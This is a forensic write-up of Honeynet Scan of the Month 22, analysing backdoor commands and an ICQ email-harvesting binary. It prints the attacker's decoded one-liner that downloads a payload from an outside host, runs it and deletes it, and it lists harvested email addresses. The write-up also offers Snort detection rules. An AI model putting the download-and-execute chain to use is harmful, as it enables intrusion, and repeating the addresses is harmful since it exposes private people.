Scan of the Month 22 Analysis
By Charles Vaughn of Emphos Computer
and Internet Security
1. Introduction
This is a forensic analysis of a log of traffic that
recorded an attacker's activities on a honeypot maintained by
the Honeynet Project. This is the subsequent activity of the
attacker in the Reverse Challenge in May 2002. I did not participate
in the Reverse Challenge, but am familiar with it. The object
of this exercise is to identify how the attacker used the backdoor tool,
and how she used the infected machine.
2. Tools and references
- Ethereal at http://www.ethereal.com
- Snort at http://www.snort.org
- Vision IDS rules at http://www.whitehats.com
- strings found as part of binutils
- TCPFlow at http://www.circlemud.org/~jelson/software/tcpflow/
- The backdoor decoder at http://www.honeynet.org/scans/scan22/decoder
- Another backdoor decoder at http://project.honeynet.org/reverse/results/sol/sol-21/files/decode.c
- Netcat at http://www.atstake.com/research/tools/nc110.tgz
- Pcat from The Coroners Toolkit at http://www.porcupine.org/forensics/tct.html
- The backdoor command reference from Chris Eagle
at http://project.honeynet.org/reverse/results/sol/sol-14/
The log was analyzed on a Debian Woody machine.
3. Analysis
3.1 Preliminary evaluation
First the MD5sum of the log was taken and found to
be correct. Running it through snort with the latest Vision
signatures showed nothing unusual, a couple of ICMP failures and some
FTP communication. This was no great surprise, as the description
led me to believe that the activity was recorded after the intrusion.
A quick overview of the log shows several interesting parts
- Frames 7 - 28 contain what appear to be the communication
between client and handler. A simple ethereal filter
ip.proto==0x0b
shows a few others
- After that a failed FTP session appears, its unclear
whether this is related to the attackers activity.
- Some sunrpc stuff
- A web connection to
11.11.11.11, might be
the attacker downloading her binary, as it follows immediatley after
a backdoor command
- A ton of web requests for
1.web-r.rotors.icq.com
3.2 Backdoor communication
Frame 7 is the first protocol 11 packet, so we dump and
decode it.
chuck@debian:~/honeynet/22$ cat 7.dump | /tmp/decode
Command packet:
Command 2 (set comm parameters):
Reply type 1 (reply to IP address
+ 9 random)
203.173.144.50
So the attacker is instructing the backdoor to send its responses
to 9 random IPs and 203.173.144.50. Now we have the
answer to question 1. It should be noted that we can't be sure that
203.173.144.50 is the attacker's real address. It is
best to use other information, such as previous logs to get a more definitive
picture of who is doing the attacking, however that is beyond the scope
of this document.
Lets examine frame 8
chuck@debian:~/honeynet/22$ cat 8.dump | /tmp/decode
Command packet:
Command 3 (execute command): grep -i "zone" /etc/named.conf
The attacker appears to be checking which domains this machine serves.
Command 3 will return the results of the command in 398 byte chunks
, according to how Command 2 set the transmission. Two packets were
sent to the attackers IP after the command was run, 12 and 22.
chuck@debian:~/honeynet/22$ cat 12.dump | /tmp/decode
Reply packet:
Reply to command 3 (execute command first reply
packet)
zone "." {
zone "0.0.127.in-addr.arpa" {
chuck@debian:~/honeynet/22$ cat 22.dump | /tmp/decode
Reply packet:
Reply to command 3 (execute command continuation)
Nothing unusual, and nothing that would
interest a cracker. The next communication with the agent is frame
62. Using the UNT decoder, it appears to be Command 7, which the
program doesn't handle, so the provided decoder is used. In order
to facilitate readability, the decoded dumps will be truncated, removing
the trailing nulls.
chuck@debian:~/honeynet/22$ ./decoder 62.dump
starting decode of packet size 474
B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 EA 05
local buf of size 476
9B D8 4A E7 ED E5 E9 E9 E9 E9 E9 E9 E9 E9 D3 04 ..J.............
E4 E9 EA E8 E9 E9 CD 3B 6A 6E 73 7C 94 E5 9D 36 .......;jns|...6
E8 E9 9D 36 E8 E9 E9 39 EF 6F 20 78 47 39 EF 94 ...6...9.o
xG9..
E8 E9 F1 E1 2E A4 EA 8E 2F 09 DD E9 D6 07 97 BA ......../.......
07 D5 70 DC 87 4D 90 34 E9 E7 00 07 6B 69 6C 6C ..p..M.4....kill
61 6C 6C 20 2D 39 20 74 74 73 65 72 76 65 00 00 all -9 ttserve..
It is unclear what this accomplishes, as frame 63 contains the same
command. A google doesn't yield anything interesting about ttserve.
Moving onto the next command, frame 72.
chuck@debian:~/honeynet/22$ ./decoder 72.dump
starting decode of packet size 474
B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 EA 05
local buf of size 476
9B D8 4A E7 ED E5 E9 E9 E9 E9 E9 E9 E9 E9 D3 04 ..J.............
E4 E9 EA E8 E9 E9 1A F4 64 6E 65 32 F7 DA 9D 36 ........dne2...6
E8 E9 9D 36 E8 E9 E9 39 EF 6F 20 78 47 39 EF 94 ...6...9.o
xG9..
E8 E9 F1 E1 2E A4 EA 8E 53 AD 15 E9 D6 07 AF 2B ........S......+
10 A7 3D F7 3B 4D 90 34 E9 E7 00 07 6B 69 6C 6C ..=.;M.4....kill
61 6C 6C 20 2D 39 20 74 74 73 65 72 76 65 20 3B all -9 ttserve
;
20 6C 79 6E 78 20 2D 73 6F 75 72 63 65 20 68 74 lynx
-source ht
74 70 3A 2F 2F 32 31 36 2E 32 34 32 2E 31 30 33 tp://216.242.103
2E 32 3A 38 38 38 32 2F 66 6F 6F 20 3E 20 2F 74 .2:8882/foo
> /t
6D 70 2F 74 74 73 65 72 76 65 20 3B 20 63 68 6D mp/ttserve
; chm
6F 64 20 37 35 35 20 2F 74 6D 70 2F 74 74 73 65 od 755 /tmp/ttse
72 76 65 20 3B 20 63 64 20 2F 74 6D 70 20 3B 20 rve ; cd /tmp
;
2E 2F 74 74 73 65 72 76 65 20 3B 20 72 6D 20 2D ./ttserve ;
rm -
72 66 20 2F 74 6D 70 2F 74 74 73 65 72 76 65 20 rf /tmp/ttserve
2E 2F 74 74 73 65 72 76 65 20 3B 00 00 00 00 00 ./ttserve ;.....
This is what we've been waiting for, the attacker kills ttserve again,
downloads a file called foo from 216.242.103.2 into /tmp/ttserve,
runs it, then removes it from the filesystem, presumably to decrease the
chance of detection.
After that, she sends three commands to the agent, all of them killall
-9 lynx; rm -rf /tmp/ttserve;
chuck@debian:~/honeynet/22$ ./decoder 1282.dump
starting decode of packet size 474
B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 EA 05
local buf of size 476
9B D8 4A E7 ED E5 E9 E9 E9 E9 E9 E9 E9 E9 D3 04 ..J.............
E4 E9 EA E8 E9 E9 BA 55 63 6E 88 D8 29 DF 9D 36 .......Ucn..)..6
E8 E9 9D 36 E8 E9 E9 39 EF 6F 20 78 47 39 EF 94 ...6...9.o
xG9..
E8 E9 F1 E1 2E A4 EA 8E 3B 61 79 E9 D6 07 A2 6D ........;ay....m
BB FB 4F AB 41 4D 90 34 E9 E7 00 07 6B 69 6C 6C ..O.AM.4....kill
61 6C 6C 20 2D 39 20 6C 79 6E 78 20 3B 20 72 6D all -9 lynx
; rm
20 2D 72 66 20 2F 74 6D 70 2F 74 74 73 65 72 76 -rf /tmp/ttserv
65 3B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e;..............
Making sure that lynx finished, and that evidence of the attack was
hidden.
3.3 Foo - First Impressions
I used tcpflow to recreate the sessions in the log. The
one we are interested in now is the one between the infected machine
and 11.11.11.11 Catting 011.011.011.011.08882-172.016.183.002.01025
shows what appears to be an ELF executable. Next I used emacs to
strip the http headers from result, and tested it with file.
A special note here, emacs isn't really the best thing to do this
with, a hex editor would be more suitable for binary editing, however if
you tell emacs to use no conversion when saving the file, you shouldn't have
a problem.
chuck@debian:~/honeynet/22/flow$ less 011.011.011.011.08882-172.016.183.002.01025
chuck@debian:~/honeynet/22/flow$ cp 011.011.011.011.08882-172.016.183.002.01025
foo
chuck@debian:~/honeynet/22/flow$ emacs foo
chuck@debian:~/honeynet/22/flow$ file foo
foo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically
linked, stripped
Strings turns up some interesting things:
chuck@debian:~/honeynet/22/flow$ strings foo | grep Linux
@(#) The Linux C library 5.3.12
This is the same version of libc used in the backdoor.
(nfsiod)
216.242.103.2
SE%lu
web.icq.com
GET /wwp?Uin=%lu HTTP/1.0
Host: web.icq.com
- nfsiod is the name of the NFS Asynchronous I/O server, and
may be the binary hiding its process name
216.242.103.2 is the ip of the crackers cache,
from when she got fooweb.icq.com resolved to (Frame 532) 1.web-r.rotors.icq.com,
which is the traffic following foo being downloadedGET /wwp?Uin= is the same request used in the
icq.com traffic
web.icq.com is the unified messaging center, and the
/wwp?Uin= pages hold ICQ numbers, e-mail addresses, and some
personal information.
I was confused at first as to how the program communicated with the
attacker, but then I saw UDP traffic immediatley after the binary was
downloaded.
chuck@debian:~/honeynet/22/flow$ tethereal -R "ip.proto==0x11
and ip.addr==11.11.11.11" -r snort-0718\@1401.log -x
529 22372.706398 172.16.183.2 -> 11.11.11.11 UDP Source
port: 1025 Destination port: 53413
0000 00 50 56 01 00 00 00 50 56 dc 13 a2 08 00 45 00
.PV....PV.....E.
0010 00 1f 00 c9 00 00 40 11 d6 fd ac 10 b7 02 0b 0b
......@.........
0020 0b 0b 04 01 d0 a5 00 0b 36 d4 47 55 0a
........6.GU.
530 22372.760562 11.11.11.11 -> 172.16.183.2 UDP Source
port: 53413 Destination port: 1025
0000 00 50 56 dc 13 a2 00 50 56 01 00 00 08 00 45 00
.PV....PV.....E.
0010 00 26 03 63 00 00 35 11 df 5c 0b 0b 0b 0b ac 10
.&.c..5..\......
0020 b7 02 d0 a5 04 01 00 12 79 22 44 55 39 32 30 37
........y"DU9207
0030 31 30 30 0a
100.
The program sends GU to its handler, who listens on port 53413, then
the handler replies with DU<WORK UNIT>. All in all this would
make a pretty good distributed e-mail harvester, however just looking
at the log, we can't be sure that this is what the program is doing. It
could be seeing which ICQ addresses work, perhaps as an ICQ infector.
3.4 Foo in-depth
I should note that I am not a reverse engineer, and I won't be decompiling
the executable, but instead I'll try to show how a thorough analysis can
be accomplished with simple tools, in a relatively quick time.
We have two questions we need to answer here:
- What is foo doing with the content of the web.icq.com pages
- How does foo communicate that information back to the attacker
First things first, we run foo. The usual caveats apply to
running a potentially malicious program on your system. It appears
in the honeypot log that foo doesn't need any unusual permissions, so
we'll see if we can run it as the user nobody, to reduce any damage. At
the same time ethereal will run, to catch any communication it makes.
debian:~# su - nobody
nobody@debian:~$ cd /tmp/
nobody@debian:/tmp$ ./foo
No output, and it forks a new process.
chuck@debian:~/honeynet/22$ tethereal -x -r foo.dump
1 0.000000 192.168.0.100 -> ns1.synergycorp.com
UDP Source port: 32774 Destination port: 53413
0000 00 05 5d 20 0c f6 00 20 78 18 47 21 08 00 45 00
..] ... x.G!..E.
0010 00 1f 00 00 40 00 40 11 39 cd c0 a8 00 64 d8 f2
....@.@.9....d..
0020 67 02 80 06 d0 a5 00 0b 5c d5 47 55 0a
g.......\.GU.
2 0.054666 ns1.synergycorp.com -> 192.168.0.100
ICMP Destination unreachable
0000 00 20 78 18 47 21 00 05 5d 20 0c f6 08 00 45 c0
. x.G!..] ....E.
0010 00 3b 61 6a 00 00 ef 01 68 96 d8 f2 67 02 c0 a8
.;aj....h...g...
0020 00 64 03 03 7f 34 00 00 00 00 45 00 00 1f 00 00
.d...4....E.....
0030 40 00 30 11 49 cd c0 a8 00 64 d8 f2 67 02 80 06
@.0.I....d..g...
0040 d0 a5 00 0b db bb 47 55 0a
......GU.
There it goes, calling home, which apparently isn't answering.
Since we have previous communication with the binary and its handler,
we'll attempt to spoof that. First step is to create another executable,
foo2, that has my IP address, so that it will connect to me instead. Luckily,
192.168.0.100 has the same number of characters as 216.242.103.2,
so I make a simple edit to the binary. Next we use netcat as a UDP
server, listening on port 53413. Last, we run foo2,
and see what it gets us.
debian:~# netcat -l -p 53413 -u | tee /tmp/foo.log
GU
Now lets give it a work unit, using DU:
debian:~# netcat -l -p 53413 -u | tee /tmp/foo.log
GU
DU9207100
No response, however the process foo2 has disappeared,
and a new process (nfsiod) has popped up. As well,
ethereal is showing traffic to web.web-r.rotors.icq.com.
Now to find out what foo2 is reading from the web.icq.com
pages. For this we turn to pcat, part of The Coroners
Toolkit, which will dump a shot of a processes memory, while still leaving
that process running.
debian:~# ps aux | grep nfsiod
nobody 1017 49.4 0.0 268
256 ? S 11:07
3:43 (nfsiod)
root 1068 0.0 0.1
1332 432 pts/8 S 11:15
0:00 grep nfsiod
debian:~# pcat 1017 > ~chuck/honeynet/22/nfsiod.core
Using strings on the core to see what the program is saving.
rlmil@iname.com
mwalt@bluewin.ch
jdriscoll@erols.com
markj@icon.co.za
catnhat429@cs.com
m.lacombe@infoteck.qc.ca
z111z@usa.net
kohster@maxis.net.my
arhamah@emirates.net.ae
usromi@aol.com
9207113@pager.icq.com
schulz@netins.net
esthting@pacific.net.hk
bht@texanet.net
matsaaa@hotmail.com
etall00@fc.peachnet.edu
sfish@shreve.net
ruedac@speednet.com.co
Just as expected, the program is harvesting e-mail addresses. Nothing
else was found in the memory snapshot, so it doesn't appear to be harvesting
names or ICQ numbers.
We still aren't sure how the addresses are being sent back. While
I was analyzing the program, I left it and netcat running, while I went
to get lunch. When I came back I found the answer, the lesson here
is the value of a good lunch to the computer investigation business.
In the netcat session, foo2 was dumping its list of addresses,
over and over. As UDP is a connectionless protocol, there is a chance
that foo2 will send something that never arrives, so the programmer
has probably made it so that we have to send an acknowledgment. However,
I did not know the command to make it stop sending and move onto another
batch.
The problem with strings is that, by default, it will only print strings
that are 4 or more characters long, so we will miss anything shorter. For
example, no where in the strings output do we see the GU or the DU command,
yet it is used.
Now we tell strings to look for strings only two characters long, the
same length as DU and GU. Since the command we are looking for to
stop the sending is likely to be located near GU, we pipe strings into a
grep for GU, with 5 lines of context.
chuck@debian:~/honeynet/22$ strings -2 foo2 | grep -n5 GU
6009-=x
6010-8@
6011-(nfsiod)
6012-192.168.0.100
6013-GOT
6014:GU
6015-DIE
6016-DU
6017-%lu
6018-SE%lu
6019-web.icq.com
We see two more commands we didn't know about, GOT and DIE. Sending
GOT into the netcat session causes foo2 to stop sending the e-mails, and
send a GU. Sending a DIE causes the connection to close
3.5 Foo protocol
- The binary foo, when first run will connect to its handler and
send the message GU
- At this point the handler can send either of two messages, DU(UIN)
or DIE
- If the program receives a DIE, it will terminate
- If the program receives a DU(UIN), it will search web.icq.com
for the e-mail addresses of UIN through UIN+99
- After retrieving the addresses, foo connects back to its handler,
and sends SE(UIN) to tell the handler which work unit was completed, followed
by the address list from that particular unit
- The handler sends a GOT
- The binary starts over again, and sends a GU
4. Application
4.1 Prevention
Even though foo is a low threat, it is a nuisance, and can be stopped
easily by firewalling UDP connections to port 53413.
4.2 Detection - Network
These snort rules catch the various foo traffic
alert UDP any any -> any 53413 (msg: "Foo binary action - Agent
requesting work unit from handler"; content: "GU"; classtype: system-success;)
alert UDP any 53413 -> any any (msg: "Foo binary action
- Handler sent work unit to agent"; content: "DU"; classtype: system-success;)
alert UDP any 53413 -> any any (msg: "Foo binary action - Handler
stopped agent"; content: "DIE"; classtype: system-success;)
alert UDP any any -> any 53413 (msg: "Foo binary action - Agent
sending completed work unit"; content: "SE"; classtype: system-success;)
alert UDP any 53413 -> any any (msg: "Foo binary action - Handler
acknowledged receipt of work unit"; content: "GOT"; classtype: system-success;)
4.3 Detection - System
The attacker tried to hide the precense of the foo binary by erasing the
file after executing it. This is one of the least effective ways of
hiding the precense of an executable on a system. It doesn't prevent
the executable from being recovered, as I've demonstrated with pcat.
In addition, when using lsof, it can be caught easily by grepping
for (deleted).
debian:~# lsof | grep deleted
squidGuar 5673 proxy 6u
REG 3,66 4620288 2621471
/var/tmp/BDB005673 (deleted)
squidGuar 5673 proxy 7u
REG 3,66 598016
2621475 /var/tmp/BDB005673 (deleted)
squidGuar 5674 proxy 6u
REG 3,66 4620288 2621466
/var/tmp/BDB005674 (deleted)
squidGuar 5674 proxy 7u
REG 3,66 598016
2621719 /var/tmp/BDB005674 (deleted)
squidGuar 5675 proxy 6u
REG 3,66 4620288 2621470
/var/tmp/BDB005675 (deleted)
squidGuar 5675 proxy 7u
REG 3,66 598016
2621717 /var/tmp/BDB005675 (deleted)
squidGuar 5676 proxy 6u
REG 3,66 4620288 2621467
/var/tmp/BDB005676 (deleted)
squidGuar 5676 proxy 7u
REG 3,66 598016
2621718 /var/tmp/BDB005676 (deleted)
squidGuar 5677 proxy 6u
REG 3,66 4620288 2621473
/var/tmp/BDB005677 (deleted)
squidGuar 5677 proxy 7u
REG 3,66 598016
2621716 /var/tmp/BDB005677 (deleted)
foo2 6696 nobody txt
REG 3,66 215464
135191 /tmp/foo2 (deleted)
5. Questions
- The attackers IP address appears to be
203.173.144.50,
however, as she doesn't appear to act on any information sent to that address,
it is possible that is a decoy to throw us off the scent.
- The attacker first checks to see which zones, if any this system
provides DNS services for. If the attacker controlled a DNS server,
it makes it possible for her to perform man in the middle attacks and any
various exploits that require control of a nameserver (ex. http://www.kb.cert.org/vuls/id/803539)
- Foo is an e-mail harvesting spider coded to use web.icq.com member
pages. The binary connects to web.icq.com and searches the UIN pages
that its handler gave it for e-mail addresses. It then returns the harvested
addresses to its handler, and requests another work unit, starting the cycle
over again. The person who created foo had a good understanding of
UDP. The author didn't go to great lengths to make it difficult to
stop it on ICQ's side, such as randomizing the UINs and sending forged headers.
However, considering that the program still works to this day, that's
not that big of a problem. I would say it was created by someone with
some experience creating similar programs before, but was not an expert yet.
- The attacker is trying to hide the presence of the executable on
the system
- The attacker is probably a spammer, or will sell the e-mail addresses
to spammers
- Yes. When the original backdoor challenge was issued, my network
was tested to see if it would allow protocol 11 traffic through. Because
my firewall requires explicit authorization to pass traffic, and NVP traffic
wasn't allowed, it would have had no affect. A good statistics based
IDS should also be able to catch that traffic, assuming legitimate protocol
11 traffic isn't on the network